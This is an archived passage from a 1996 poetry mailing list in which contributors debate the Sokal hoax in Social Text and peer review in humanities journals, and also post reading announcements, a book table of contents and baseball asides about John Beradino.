There are, Howie tells me, already jokes circulating around this issue. I.e.: when the editors realized they'd been had, they opened the twelfth story window, jumped out, and fell up.

The whole issue is fascinating & goes back a long way: Pythagoras, Lucretius, etc. But more 'recently', Wordsworth in one of the original avantgarde manifestos, "Preface to the Lyrical Ballads," makes a big deal about poetry as the more capacious and mobile form for scientific truths. A grandiose defensive hope that poetry will subsume science.

I agree with Marjorie about Ross's condescension & essentializing, which seems pretty clearly to come from defensiveness. Why not just say, "You got us?" and go on to the bigger issue, the huge chasms between the spheres of discourse? If the rhetorical sour notes in Ross's piece are overlooked, he does say some interesting things that point toward that problem, at least as I remember the piece. But the sour notes are sour, and the projection of sophomoric theorizing onto Sokal clearly bounces back onto *Social Text*: wasn't S's article saying that gravity was a construct?

Like I say, if anyone on the list could forward it to me, I'd appreciate it ([redacted])

b)

And speaking of attempts to unite spheres of discourse: I just got an advance copy of *The Marginalization of Poetry: Language Writing and Literary History*; they tell me it will be out in about a week. Cloth or paper (nice cover). Contains:

1) "The Marginalization of Poetry"--(revised) genre-cross-dressing poem

2) "Language Writing and Literary History"--group formation; collaboration; individual readings

3) "Here and Now on Paper: The Avant-Garde Particulars of Robert Grenier"--*This* 1; I HATE SPEECH; the oxymoron of avantgarde narrative; *Pieces*/*Sentences*; *Transpiring etc*

4) "Parataxis and Narrative: The New Sentence in Theory and Practice"--new sentence, Jameson's take, narrative issues, collage, Berrigan; Silliman / Hejinian; new sentence 'novels'

5) "Write the Power: Orthography and Community"--Bernstein; genre-wars; error & textuality; Brathwaite's nation-language

6) "Building a More Powerful Vocabulary: Bruce Andrews and the World (Trade Center)"--Andrews & and the attempt to shatter (literary) capital; identity poetics; Angelou's "Pulse of Morning"/"Pumice of Morons" (Coolidge & Fagin's OULIPO parody)

7) "This Page is My Page, This Page is Your Page: Gender and Mapping"--American male-gaze landscape poem, Frost, Stafford, & derivatives (Sharp-Implement School, in Rae Armantrout's phrase); the political maps of Ginsberg ("Wichita Vortex Sutra") & Ashbery ("Daffy Duck in Hollywood"); Watten's *Progress* as anti-map; women's non-nominalist maps: Dahlen *A Reading*, Susan Howe "Thorow", Armantrout *Necromance*, Harryman, *In the Mode Of*

8) "An Alphabet of Literary History"--signifying poems of & on literary history

9) "A False Account of Talking with Frank O'Hara and Roland Barthes in Philadelphia"--daily life, mortality, television, desire, poetic language, transcendental dirty jokes; poet & critic discuss these in dream narrative/short story format.

--

Well, this is too long already. But: Princeton wants a list of profs to contact about possible course-adoption. If anyone has any suggestions I'd appreciate it if you'd backchannel them. Thanks.

Bob Perelman

↑ Index

488. **Joe Amato**
Re: Re Refereed Journals
Thu 23 May 1996

---

i'm intrigued about this particular question of refereed vs. unrefereed... seems to me that, though no review is entirely 'blind,' a publishing enterprise can effect a significant over-the-transom result if it at least attempts some anonymity... i mean, i can't see as how partiality is necessarily wrong, but i also can't see as how impartiality (to whatever extent this is possible) can't be of some use either... depends on the editor(s), no?...

now as to how one goes about making such matters public, or what it means---ethically, say---to violate stated editorial policies---well, these seem to me to be somewhat different, if related, issues...

joe

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489. **David Kellogg**
Re: Re Refereed Journals
Thu 23 May 1996

I have been following this thread with terrific interest. As a poet and critic who is currently teaching science writing and has served as the managing editor for a major scientific journal (the Journal of Neuroscience), I must agree with Marjorie: There's no substitute for a good peer referee process.

What can the humanities learn from the peer review proces in science? In my experience, the following:

For almost all scientific journals at least two written peer reviews are ALWAYS given. These reviews are generally timely (written within a month), extensive, and helpful. The typical form of such reviews is tripartite:

1) A summary of the submitted piece, showing that the reviewer knows what she's talking about;

2) A section of major critiques and suggestions; and

3) A list of minor critiques (reference errors, typos, etc.)

In the journal I worked for, readers were also asked to rate work on its quality and importance. (These numbered ratings were not given to the authors).

This kind of peer reviewing is quite standard in scientific journals: if the review process isn't followed properly, nobody is well served and the history is lost.

My experience with humanities journals is much more mixed. Some essays have been very thoroughly reviewed, which I appreciate. Some reviews have

been cursory at best. I have had one essay accepted by a "peer-reviewed" journal over email, with no suggestions for revision at all. I wrote back to the editor saying, didn't somebody have some constructive suggestion? He said no, they just thought it should be published as is. I would like to think this reflected the quality of my argument, but I honestly believe it was more indicative of a shoddy review process.

I must also point out that while the best science journals typically tell authors the disposition of a manuscript WITHIN A MONTH (at J. Neurosci. there were the following possibilities: reject, reject w/ encouragement to resubmit, revise and re-review, revise without re-review, and accept (a virtual impossibility on the first go-round)), even the best humanities journals (excluding house-journals like PMLA -- a different topic) may wait THREE OR FOUR MONTHS before the author hears a peep.

Sorry, I'm griping. But I do think that Sokal -- though he's acted despicably and doesn't understand the cultural study of science -- puts his finger on a real problem in the humanities review process.

One thing the humanities could do is follow science's lead and make peer reviewing one of those things you count for tenure.

Cheers,
David
~~~
~~~

Now there was a man with a conscience, willing to put his learning at the service of the oppressed --

↑ Index

491. **John Lavagnino**
Re: Re Refereed Journals
Thu 23 May 1996

I wonder how well the peer-review process as it works in science applies to humanities scholarship. We don't have quite the same level of shared assumptions about what any particular field is, what important work is, and how it ought to be expressed. Any well-known scholarly journal in our field has ideas about what they want to publish that go well beyond straightforward questions of field, quality, and importance; or perhaps it's better to say that quality and importance are defined in very different ways by different journals.

When I think of peer-review horror stories I've heard that related to the humanities, they generally have to do with work being dismissed, directly and without supporting argument, as not being serious humanities scholarship. And, in the case of any particular journal, it's certainly easy to think of many approaches, subjects, or writers that just wouldn't be acceptable. (The other main focus of these horror stories is long delays, and generally the slothful rudeness that is so common in the academic humanities, as David Kellogg rightly points out.) Horror stories that have come to me about peer review in the sciences have turned on deliberate obstruction with commercial motivation, and involve cases that ended in lawsuits. (Scientific fields may be more objective, but there are also large amounts of money at stake in some of them.)

We also read humanities journals, we don't just refer to them. We don't have any journals like the Physical Review, which runs to a yard or so of shelf space for one year; nobody reads it, you just glance at the subset of articles covering your own little field. Andrew Ross's account of deliberations at Social Text points out one thing that's true about many humanities journals: you don't just take the top twenty best articles each year, you select articles in part because they fit together.

In the Social Text case, you can certainly question the stated justification for the editors' publication of an article they thought was weak---I also find it condescending; but you can't plausibly claim that these people don't know cultural studies and couldn't judge that aspect of the article. (Everyone talks in the popular press about how the article was obvious nonsense, but most people outside the world of literary studies would have the same reaction to any article that has ever appeared in Social Text.) What opens them to ridicule is publishing something that claims some kind of scientific support or connection for these

postmodern themes, when the science in the article was (we're told) bogus. An outside reviewer from the world of physics could have given them some idea of whether the physics made any sense or not, and generally if you're going to publish interdicsiplinary work you really ought to seek advice on fields you don't know anything about.

John Lavagnino
Women Writers Project, Brown University

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492. David Golumbia
Re: Re Refereed Journals
Thu 23 May 1996

David Kellogg wrote:

> *virtual impossibility on the first go-round)), even the best humanities journals (excluding house-journals like PMLA -- a different topic) may wait THREE OR FOUR MONTHS before the author hears a peep.*

I count three or four months as a good response. I can't even count the number of times I've waited six, 8, 12, 18 months, & then had the most bizarre reactions from the journals -- all the way from "we're accepting it and by the way we need the proofs by tomorrow why won't you call us back right away," this more than 2 years after initial submission -- to one-line rejection sentences. One of the least professional parts of "professional" life I've encountered. My favorite thing is the number of times journals lose essays mailed to them -- I count on no better than a 75% chance of a journal actually receiving a piece (& have had them "lost" or "never received" at least six times, including SOCIAL TEXT itself!) -- never had a credit card payment lost in the mail yet though!

And then we could talk about edited volumes (too bad Maria's offline).

--
[redacted]
David Golumbia

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493. David Golumbia
Re: Re Refereed Journals
Thu 23 May 1996

Come to think of it, David K's suggestion that peer reviewing count toward tenure (but aren't there "peers" who aren't tenure-track professors??) is interesting. But also disturbing. As Steve Fuller hinted in his letter to the Times today, there is a relatively astounding lack of professional standards throughout the

humanities. I mean, it'd be nice to *reward* profs for being reviewers; but it'd be even nicer if they *already* reviewed in a timely and thoughtful way, considering that it's a relatively clear part of their professional duties (that is, if they've accepted the role as reviewer on a journal in the first place).

Whoops! I'm gripin' too.

--
[redacted]
David Golumbia

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494. **Don Cheney**
Re: death in L.A.
Thu 23 May 1996

---------- Forwarded with Changes ----------
From: [redacted] at @UCSD
Date: 5/23/96 8:25AM
*To: [redacted] at @UCSD
Subject: Re: death in L.A.

Here, here, Kevin!

I have an old black and white photo of my mom with John Beradino walking a picket line together (i think in front of ABC-TV, Los Angeles). I always thought he was cool just because of walking the lines in support of what must have been an electrical workers strike (as my dad was vp of the IBEW in Hollywood at that time (late 1960's)).

thanks Kevin, i didn't know that that was who Aldon was referring to.

Don Cheney

This is Kevin Killian speaking.

Aldon N wrote I think rather dismissively about the death of John Beradino--

> *FYI2 -- same _LA Times_ finally ran an article on the death, in Japan, of Johnny "Guitar" Watson -- took 'em long enough -- maybe they were shamed into by the obit. in New York -- Watson was a central figure in LA music for decades. In contrast, the same paper had a next day article on the death of an actor from the cast of _General Hospital_ --*

IMHO, Beradino was a great star and a figure of major cultural importance. Everyone knew he was in failing health and I'm sure the LA Times had a correspondent with very close connections to Cedar-Sinai where the stars die. He

had to leave "General Hospital" in 1993 after thirty years, because he was sick. Soap opera fans and baseball fans all over the world are sad that he has died. Give him the dignity of his name now that he is dead. But Aldon, I understand why the disparity between the reportage of the two entertainers outrages you. Yet soap opera stars receive less respect even than the great guitar players of our day. Why is that? I think because their work is perceived as somehow effeminate, decadent, off the beat. Ephemeral. Unrelated to life.

> *-- Saved internet headers (useful for debugging)*
> *Received: from UCSD.EDU by mail.ucsd.edu; id IAA15393 sendmail 8.6.12/ UCSD-2.2*
> *Received: from listserv.acsu.buffalo.edu (listserv.acsu.buffalo.edu [128.205.7.*
> *Received: from listserv.acsu.buffalo.edu (listserv.acsu.buffalo.edu [128.205.7.*
> *Received: from UBVM.CC.BUFFALO.EDU by UBVM.CC.BUFFALO.EDU (LISTSERV release*
> *Received: from UBVM (NJE origin [redacted]) by UBVM.CC.BUFFALO.EDU (LMail*
> *Received: from moon.sirius.com by UBVM.cc.buffalo.edu (IBM VM SMTP V2R3) with*
> *Received: from [205.134.228.62] (ppp062-sf2.sirius.com [205.134.228.62]) by*
> *X-Sender: [redacted]*
> *Mime-Version: 1.0*
> *Content-Type: text/plain; charset="us-ascii"*
> *Message-ID: <v01520d00adc9c140f205@[20*
> *Date:*
> *Reply-T*
> *Sender: UB Poetics discussion group <[redacted]*
> *From: Kevin Killian <[redacted]>*
> *Subject: Re: death in L.A.*
> *To: Multiple recipients of list POETICS*

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495. **Don Cheney**
Here, Kevin!
Thu 23 May 1996

---

sorry kevin

i didn't mean to write "Here, here, Kevin" as if you were a pet or something.

i meant HEAR, HEAR!

don
[redacted]

↑ Index

496. David Baratier
Re: refereed
Thu 23 May 1996

DK & DG

In terms of submissions
my experience has been
similar
just goes to show
there is only one thing
you can be sure of
a literary journal
accepting
in each submission
whether 6 by 9
or business sized
large or small
checks

David Baratier

↑ Index

497. David Ayre
KSW Events for June, 96
Thu 23 May 1996

```
***********************************
* The Kootenay School of Writing  *
* Vancouver B.C., Canada          *
* EVENTS FOR JUNE 1996            *
*                                 *
* email: [redacted]               *
* www: http://www.wimsey.com/~ksw *
* 112 West Hastings               *
* Vancouver B.C. V6B 2G8          *
* [redacted]                      *
***********************************
```

The Kootenay School of Writing is extremely pleased to host a reading of new work from Vancouver writers:

jam. ismail & Lisa Robertson
June 1st : Saturday : 8:00 pm : Admission $4/$5

jam. ismail is the author of sexions (1984) and co-author with artist Jamelie Hassan of the collaborative bookwork JAMELIE*JAMILA PROJECT (Presentation House Gallery, 1992), She has been featured in the journals Contemporary Verse, Capilano Review and Canadian Literature, the anthology Many-Mouthed Birds: Contemporary Writing by Chinese Canadians (Douglas & McIntyre, 1991) and Ankur magazine. She currently divides her time between Hong Kong and Vancouver.

Poet and art critic Lisa Robertson is the author of XEclogue (Tsunami Editions, 1993), Earth Monies (Lounge, 1995) and The Apothecary (Tsunami Editions). She has been published in West Coast Line, Raddle Moon, Capilano Review and most recently in the feminist journal Tessera and in the British anthology Out of Everywhere: an anthology of linguistically innovative writing from women from the U.K. and North America (Reality Street Editions).

The Kootenay School of Writing is a non-profit artist run center operated collectively by working writers. For 11 years KSW has offered the varied literary communities of B.C. readings, workshops, and talks that challenge and motivate critical enquiry into the ways and means of language.

Visit Our Web site ! ------> http://www.wimsey.com/~ksw
Join our Email mailing list ! --> http://www.wimsey.com/~ksw/maillist.htm

The Kootenay School of Writing
[redacted]
112 WEST HASTINGS
v6b 2g8
Canada

↑ Index

498. David Ayre
KSW Events for June, not May
Thu 23 May 1996

Sorry for any confusion... the subject header of
my last message should have read
Events for JUNE, and not May....

Lisa Robertson and jam. ismail are reading on June 1st,
Saturday, 8:00 pm at KSW.....

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499. George Bowering
Re: Re Refereed Journals
Fri 24 May 1996

I'm sorry, but this is one of those times upon which I have to disagree with Marjorie. Maybe it is because I am more interested in writing than in scholarly criticism, but my experience with literary / critical journals over too many decades to be cheerful about, is that the more interesting writing has come from journals that are cranky, perhaps, run by devotees rather than committees, have an exe to grind, and last a lot shorter time that PMLA. I dont think that Pound's essays, or Williams's, or Stein's, would ever have passed a group of referees. Yet essays full of brain-numbing jargon do so every quarter. When referees read refereed articles (and yes, I have been a referee), they tend to favour something no more interesting than their own articles.

.....
"the sunne
a good good mama
a very loud star"
--Anselm Hollo

George Bowering.
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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500. **Ron Silliman**
Ref them journals
Fri 24 May 1996

Marjorie,

I haven't been as articulate as I would like to have been. I don't think that the issue with journals is or should be one of fairness, but rather one overall of providing the greatest value to the reader -- and that I would argue can only come from a journal that presents a distinct point of view. It almost doesn't matter whether it comes from a clique (as in Social Text, SAQ, or the journal Bill Luoma likes to call Reputations) or a single person (Clayton Eshelman, say, or even Bly in The Fifties and Sixties, or Corman in Origin, or Bernstein & Andrews in L=A=N=G=U=A=G=E or or or...). And, having worked on Socialist Review, it's not that I'm setting myself off as any better than anyone whose worked in a collective editorial process, regardless of the method. But publications like Contemporary Literature are ultimately lowest-common-denominator ventures. It's built into their structure.

I never will buy a magazine because it has just one article that I'm interested in -- and almost by definition, publications like CL never will have two, so I end up never reading them. Give me Mirage #4/Period(ical) any day of the week. I always know that Kevin and Dodie will give me several things worth reading--and often from people whose names I don't know or recognize (yet). In the long term, that's where the value is -- and it's the likes of Kevin and Dodie who should be getting the insitutional subsidies to make their work easier.

But, as a few folks have noted, there is more than a mere discursive difference between cultural publications and ones in the "hard" sciences. I wouldn't want Andrew Ross operating on my heart!!

All best,

Ron

P.S., hey, I like the Orioles, though I think it's time that Cal Jr. think about switching to third or even (a la Ernie Banks) to first. And (to complete the threading of current topics) Johnny Berardino, as he was called when he played in the majors, used to be with the Orioles' predecessor St. Louis Browns. He was their starter from '39 to '42 and then again after he returned from the war in '46. His best year was probably 1940, when he hit 16 home runs and drove in 85 RBI. He was a shortstop in some years, second baseman in others and, after '46, was pretty much a utility player. Batted and threw right handed. Lifetime BA. of .249. I saw one obit that referred to him as "leading the Cleveland Indians to their one World Series victory but he only played 66 games in 1948,

batting just .190. Typical "good hands" infielder, sort of what you look for in a surgeon, no?

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501. **Mark Roberts**

AWOL: Leith Morton & Philip Hammial in Japan (fwd)

Fri 24 May 1996

> *Mime-Version: 1.0*
> *Date: Thu, 23 May 1996 11:31:25 +1000*
> *To:* [redacted]
> *From:* [redacted] *(awol)*
> *Subject: AWOL: Leith Morton & Philip Hammial in Japan*
>
> *The following information has been posted by AWOl on behalf of the organisers of the two readings in Japan. Please address any enquiries to* [redacted]*. Our thanks to OzLit for the information about these readings.If you haven't visited the OzLit site their URL is http://www.vicnet.net.au/~ozlit/*
>
> **********
>
> *May 24 & May 30*
>
> *Poetry readings in English and Japanese by the Sydney poet , Philip Hammial and the Newcastle poet, Leith Morton, will be held in Japan on 24 and 30 May. The first reading will be at the International Research Centre for Japanese Studies (Nichibunken), where Leith Morton is a visiting professor, in Kyoto; while the second reading will be at the Australian Embassy in Tokyo. In addition to the readings, talks will be given at several universites in Japan on contemporary Australian poetry by the two poets. A number of meetings have also been arranged with contemporary Japanese poets to discuss Australian and Japanese poetry. The readings have been organized with the financial assistance of the Literature Fund of the Australia Council for the Arts, Nichibunken and the Australian Embassy in Tokyo. Contact Leith Morton at the email* [redacted] *for more information.*
>
> *AWOL*
> *Australian Writing On Line*
> [redacted]

> *http://www.ozemail.com.au/~awol*
> *PO Box 333 Concord NSW 2137 Australia*
> *Phone 61 2 7475667*
> *Fax 61 2 7472802*

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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502. Mark Roberts
Re: Come In Spinner!
Fri 24 May 1996

> *This is Kevin Killian. This post is especially to our Australian and Kiwi correspondents, but please, I need help from all. Have any of you read "Come In Spinner!" by Dymphna Cusack & Florence James? I am thinking of writing about this book and would appreciate knowing if anyone knows of previous critical studies. I don't want to say what everyone else has already said without knowing it (God, what a sentence, but I hope you know what I mean). Thanks to all. XXX Kevin K.*

Kevin

I haven't actually read the book (but I have seen the mini series!!) if you like I could post you enquiry to the Auslit discussion group and forward any responses.

Mark Roberts
Student Systems Project Officer
Information Systems
University of Sydney NSW 2006 Australia
[redacted]
PH:(02)[redacted]
FAX:(02)[redacted]

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503. **Navdeep Dhillon**
Poetics Mailing List FAQ
Fri 24 May 1996

Does anyone know if there is a FAQ for this list, or another similar list. If so, any information on where it's locate is appreciated.

Thanks in advance,
Navdeep Dhillon

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504. **Chris Stroffolino**
Re: KSW Events for June, 96
Fri 24 May 1996

david ayre----so, do you know whwere lisa robertson's new book LOUNGE can be gotten from? thanks, chris

↑ Index

505. **Mark Wallace**
refereed, non-refereed?
Fri 24 May 1996

Of course, there's no such thing as a non-refereed journal, there are simply different types and degrees of refereeing. At the very least, SOMEONE had to agree to accept a given piece, even if they didn't read it.

But I don't think the issue is whether one imaginative editor can accept more risky work than a committee, or that a committee allows for more thorough reading of a text. Instead, I think the issue has to do with the POLITICS of contemporary humanities publishing. I think Ron Silliman is right about the value of imaginative editors, given our current environment, at least to the extent that many of the most insightful essays on contemporary poetics will not appear inside a normative academic publishing environment. Why? Charles Bernstein's recent essay "Tone Lock" has the answers to that question, and I hope that he'll forward that essay to the list, or tell people where it's otherwise available.

The essential point of Charles' essay, which he can make more eloquently than I can, is that contemporary "refereed" journals allow, with very few exceptions, for only one kind of critical TONE--that of the dispassionate, objective, scientific "observer"--and this is usually true no matter how much the critic in question would critique any of the above terms. That is, it's not simply that contemporary referreed journals publish "experts," but that there is a language that expertise must speak in order to be considered expertise. As long as that is true, the most interesting articles will be published by journals who can exist

outside the "refereed" environment, that is, outside an environment that is not value-free and chooses the most interesting articles, but rather is an environment that determines in advance that one tone, and one tone only, is proper for the expert.

Of course, there are exceptions which make the issue more complicated. Boundary 2 used to publish a variety of interestingly "alternative" format essays until its original editor, the vastly underrated William Spanos, passed it along to the slick and professional emptiness of Paul Bove. Before that, all sorts of things used to happen in Boundary 2. And another area of exceptions is that people like Charles Bernstein, who have acquired enough "cultural capital" that they HAVE to be listened to by people who would prefer to ignore them, often do get to publish alternative format essays in "refereed" (read: TONE LOCKED) journals. But from my own firsthand experience, Charles' work is often not taken seriously as criticism precisely because people look at the alternative format of his work and so "oh, he's just a poet"--i.e. he succeeds in writing against the grain at the cost of being considered an "expert" at all in many normative academic environments.

For my own money, the most interesting poetics essays in recent years have all been published in journals that exist outside the refereed environment--Chain, Talisman, Witz, Poetic Briefs, Lower Limit Speech, Aerial, Taproot, many others. Essays in those journals are often looser and sloppier, I'll admit, than those essays in the standard refereed journals. But in challenging the normative criteria of tone-locked academic journals, they do provide an environment in which criticism can remain engaged on the level of TONE, as well as being not totally chained to the variety of limitations that such tone-lock creates for critical thinking. Of course, there's no doubt that excellent articles on poetics do appear in academic journals, but they nonetheless always seem pretty coercively standardized.

At Poetic Briefs, and with Leave Books, having a group editorial staff never harmed our ability to publish even the most extreme critical texts--we weren't beholden for our money to the current standardized practices of academic criticism.

The Leave Books publication A POETICS OF CRITICISM, still available I believe from SPD, features a variety of critical essays (of varying degrees of success, I'll grant) that do not have the standard form of critical essays and nonetheless are being put forward as criticism. There is almost not a single essay in that collection that could have been published in a refereed journal, which is proof, I think, that more needs to be done to challenge the control that tone lock has over what supposedly constitutes successful critical thinking.

So what's at stake here is not whether one person is better than a committee, but rather the politics of critical practice--that is, the problem of who controls the resources and puts forth the standards for what counts as "acceptable" critical practice.

Mark Wallace

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506. **Aldon L. Nielsen**
Re: eniacs
Fri 24 May 1996

I normally would agree with Rid that Andrew does good work, etc. -- BUT, if what he says in the first two paragraphs of his response is an accurate reflection of the real discussion among the editorial board of his journal, then the journal should damn well go out of business -- How can anyone justify publishing an article that they believe is inadequate (meanwhile, I prseume, rejecting any number of quite interesting and well-constructed unsolicited essays [try "presume"] from non-physicists) is beyond me --

On the other hand, I cannot understand why blind editorial review should be considered obnoxious -- If it were not for blind review (the VERY FEW places where the blindness is real, and not an editorial fig leaf) those of us who do not happen to have gone to graduate school with the editors would be out in the cold forever --

Take a gander, by the way, at the list of people who got tenure track jobs in English departments that appears in the back of the same issue of _Lingua Franca_ -- The message this list seems to convey to prospective grad. students is that you'd better go to one of the big power schools like UCLA or Yale if you want to get a job when you graduate --

Rod, sorry about that "Rid" -- and to everybody, sorry about the grammar above -- can't use cursor keys to back up and make corrections -- whoever designed the interface between DOS and MAC applications for e-mail must have been malicious or stupid --

employed and blindly yours,
a.l.nielsen

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507. **Keith Tuma**
Re: Ref them journals
Fri 24 May 1996

I think it's true that journals like Contemporary Literature don't have a distinct point of view--agreeing with Ron Silliman here--but I don't think it's at all true that a lowest common denominator is "built into" their structure. If we consider refereed journals not one at a time but within something like the profession of literary or cultural studies as a whole, it's rather hierarchy or structured conformity that is the end result. Such and so--say our own Alan Golding--will typically be sent articles on contemporary American poetry by the editors of CL, and they will largely defer to his review. Now Alan's own articles--for CL but especially for another journal with a little more so-called prestige (say Critical Inquiry)--will be refereed by somebody else who's been around a little longer, who's a little higher in the academic pecking order. Say our own Marjorie Perloff for instance. (Not that Critical Inquiry cares much for contemporary poetry anymore, or that Marjorie actually reads for them.) By the time you get to Harvard UP there's relatively few people being asked to referee manuscripts. These are the people who've been around longest, have the biggest reputations etc. At the top of the heap there's--oh I don't know, say Harold Bloom or Helen Vendler--sitting behind the screen like the Wizard of Oz. Now this pyramid figure I'm sketching is overly simplistic--there are actually many pyramids and more freedom of circulation and movement within them than such a caricature suggests. And what some might call conformity here (the results of the profession's referee- structure) others would call standards. Distinct or idiosyncratic points of view do tend to have their edge removed by such a power-structure but not because a lowest common denominator rules but rather a particular set of (more or less questionable) standards, methodologies, and interests. Such power structures seek to perpetuate themselves, though they also require contestation and change. It used to be one of the functions of non-professional journals like Sulfur to whack away at these orthodoxies but given the hyper-specialization of the humanities and arts today I'm not sure that that's happening very much, or rather that anyone not already predisposed to read Sulfur (or other similarly-edited journals) is paying much attention. On the other hand we do have people like Marjorie--who must be asked to review a thousand manuscripts a year--moving between zones in a useful way. Sorry--all this could be clearer. I'm sympathetic to Ron's point, but I can't accept this "lowest common denominator" formulation. And in comparing L=A=N=G=U=A=G-E and Contemporary Literature we're also comparing apples and kiwi. Both of 'em necessary in a healthy diet.

banalities for a friday afternoon,
Keith Tuma

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508. **Aldon L. Nielsen**
Re: death and the times in LA
Fri 24 May 1996

---

no dismissal intended, sorry if some felt -- All I was getting at was that if one works in television, the LA TIMES will take notice -- whereas should one devote decades to working in the black music community of LA, as opposed, say, to getting paid for def jam, they;ll take their bloody time getting around to you --

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509. **Jordan Davis**
blindness and inside
Fri 24 May 1996

Please forgive me riding my hobby-horse

So then an end
is to include the
poem in the poem

Is that possible or even desirable

Are we meant to figure out the criteria for possibility
Or are we arguing out of necessity

Is this side of things about definite v indefinite
as opposed to the popular idea that it is about object v subject

What is it you are saying about this politic

--Jd

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510. **Bill Luoma**
Re: Soaps
Fri 24 May 1996

Kevin,

You are right to point out that baseball players are huge soap fans.

Thank you for your support.

Bill

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511. **Robert J Wilson**

free fall of Social Text/"slick professional b2"

Fri 24 May 1996

A Few Banalities and Animadversions from Hawaii

Some of you may have read the essay by Bruce Robbins in a recent *Social Text* (45, Winter 1995) called "Some Versions of U.S, Internationalism" in which Bruce Robbins (Andrew Ross's co-editor at the ST "Editorial Collective") tried to map out the cultural-politica differences of globalization/localization tactics ("adversarial internationalism") of four differently situated U.S. cultural studies journals-- Diaspora, boundary 2, Social Text, and Public Culture in that order-- and re-ground these tactics in the US geopolity/state/civil society domains of discourse-production.

Such a push to draw a 'cognitive map'for the emerging collective vision of each journal was helpful and cautionary, especially for one such as myself who has attempted since 1989 as 'advisory editor' to push b2 into "Asia/Pacific" reaches and to pressure the local resistance/local poetics in any globalization visions of capitalist restructuration.

While I found Bruce's overall vision of 'transnational capital' rather appallingly user-friendly and overforgiving, and his reading of the quasi-Marxist globalism of b2 off the mark re what he took to be its Euroamerican rationalism cum 'romanticization of the local' as site of contemporary resistance (thus getting the global/local dialectics of b2 wrong on both counts), I was startled at how he explained and justified (trumping b2 as it were) the cultural politics and commodity-culture rooted populism of Social Text (in its contemporary moment), with one ear tuned to the streets and the other to the capitalist poetics of the corporate board room as he said.

Robbins explained the political edge of the "culturalism" of Social Text in the following terms (p.102): "as one instance of what has been called culturalism, it tries to colonize and assimilatate authoritative discourses that claim not to be culture by identifying them as cultural constructs and revealing the social interests hidden behind them, as the titular notion of the social-as-text suggests." As an embrace of 'popular culture,' furthermore, ST turns against entrenched hierarchies, escpecially of expertise-guarding elites. I have no problem with the latter tactic, but I am startled by the 'colonizing' reach of this ST 'culturalism' into and across all domains of knowledge and into the very subatomic reaches of understanding and the real as such. Do we want such an over-extended "culturalism"? What kinds of practics and values and discourses will such a vision generate: an "antifoundationalism" towards what (neopragmatic/liberal US ends)?

Shaking the foundations of professional expertise at and around ST, Sokol is now accused of having written a sophomoric 'fraud' and having violated the very professional ethics and professional decorums that sustain such expertise knowledge communities (Stanley Fish,predictably, in his Oped take-out so-called Sokol piece); but what the NYU professor of physics has actually written is not so much 'fraud' as a parodic miming of the pomo cult codes (some of his footnotes are pretty hilarious) and a sending up of an over-extended 'culturalism' colonizing domains of reality/history/material production and reproduction where it may just fall apart or become wishy-washy and inadequate.

That ST editors ex post facto can now claim (via AR on WWW) that they knew all along it was a 'sophomoric' piece of cultural studies by a naive scientist; that ST is never 'refereed' (what is the in-house critical collective but a set of primary discrimination makers of the in/out, enacting [sure, informally] the rules for what passes as any "Social Text" text); and that the Sokol essay was going to be dropped from the expanded book edition at Duke UP (this would be an unusual post facto decision to make, as Duke UP usally runs all the essays and whatever else the editors choose to add from its journals "special issues," within space limits of course), sounds like more critical two-step shuffle to me: why not admit to having been deceived and worked from the insights and struggles of that moment? Sure, it's a postmodern black hole now: That a pro-Sandinista physicist can be embraced as an ally by Rush Limbaugh on right-wing talk radio and be stimulated by the "Higher Superstion" faction of anti-pc-construction science to write such a piece just plays into the spectacle of media reductions-- some at b2 have suggested this will only drive up the subscription lists of ST and generate more cultural capital and "science war" discourse for the players (if they don't fall or leap from NYU windows and fall upward, "deconstructing postmodern gravity, slyly") and the press.

Despite this Ross/Sokol fiasco, ST remains an inventive and important cultural studies journal; it has provided timely critiques of 'postcolonial discourse' machine and affiliated itself with domains of popular culture and transnational critique we need to know of in NYC to Seoul. Ross, eg, has done astonishing work on the cooptation of local Pacific culture in Hawaii by the Polynesian Cultural Center (Mormon "culturalism") and the political ambiguities of Hawaiian sovereignty struggle in "Chicago Gangster Theory of Life: Nature's Debt to Society." But Sokol has, I think, caught Ross and the ST "Star Wars" discourse apparatus in an over-extension of their 'culturalism,' miming the codes in devious simulacrous ways that reflect and refract where the journal is philosophically at. As somebody has said, under such pressure, the "subject position" is oozing into "position(s)."

boundary 2 is no set of holy rollers, to be sure, and the "critical collective," post-Spanos, practices its own methods of inclusion/exclusion and discursive

maneuverings on US academic turf: I will say that, since the editorship of Paul Bove, each submission is screened initially by him, sent out to another reader on the critical collective, and, if the interest is there given two or three reader's hard-hitting reports to suggest ways to revise and strengthen. Hard stories on rejections/omissions/sins of commission may abound still. But "special issue" prjects (such as forthcoming one to be edited by Charles Bernstein, like one in the past and another by Arif Dirlik on "Postmodernity in China") enact ways to cut across in-house boundaries and knowledge domains of areas/disciplines/ professional expertise.

The b2 editorial collective is not perfect, to be sure, but it remains "Gramscian" at core in the ongoing and multi-sited attempt to forge a counter-hegemony to the injustices and imperfections of capitalism in its colonizing transnational/local reach.

The St fiasco should give us pause on how such journals procede and what, in truth and trope, they finally stand for inside/against US "collective" struggle.

Rob Wilson

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512. Aldon L. Nielsen
Re: refs
Fri 24 May 1996

Many departments DO, in fact, "count" work as a journal ref., but rather modestly, under the heading of professional service -- I'm not sure I'd want to see it go much farther than that -- do we really want tenure committeess passing judgement on the quality of the work we do passing judgement?

Bigger problem to me is how these groups of refs. are constituted in the first place -- Too often winds up, yet again, being a list of the editors' friends rather than any kind of systematic attempt to convene scholars who are doing important work in whatever field -- This is particularly a problem if the work you do opens up new areas (new only to critics, I hasten to add) -- for example -- when I write about avant garde black poets -- my work is typically sent to some freind of an editor who is "in" African-American literature, but who hasn't read three poems in the last year -- OR to some "specialist" in poetry, who hasn't read any poetry by black writers (perhaps excepting Brathwaite & Brooks?!?) post WWII --

It's NOT that there are too few scholars working with this poetry; it IS that too few editors can trouble themselves to find out who they are --

AND, as radically democratic as I tend to be, I've found the words "editorial collective" to mean, generally, abandon any hope of democratic openness ye who submit here --

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513. Steven Howard Shoemaker
fake radio
Fri 24 May 1996

If you get to the end of this you'll see that it's written by one Joel Woller at Carnegie Mellon. steve

> *All--*
>
> *For whatever it is worth, I am attaching a copy of my two cents on Sokalmania. I've been travelling, hence my tardiness.*
>
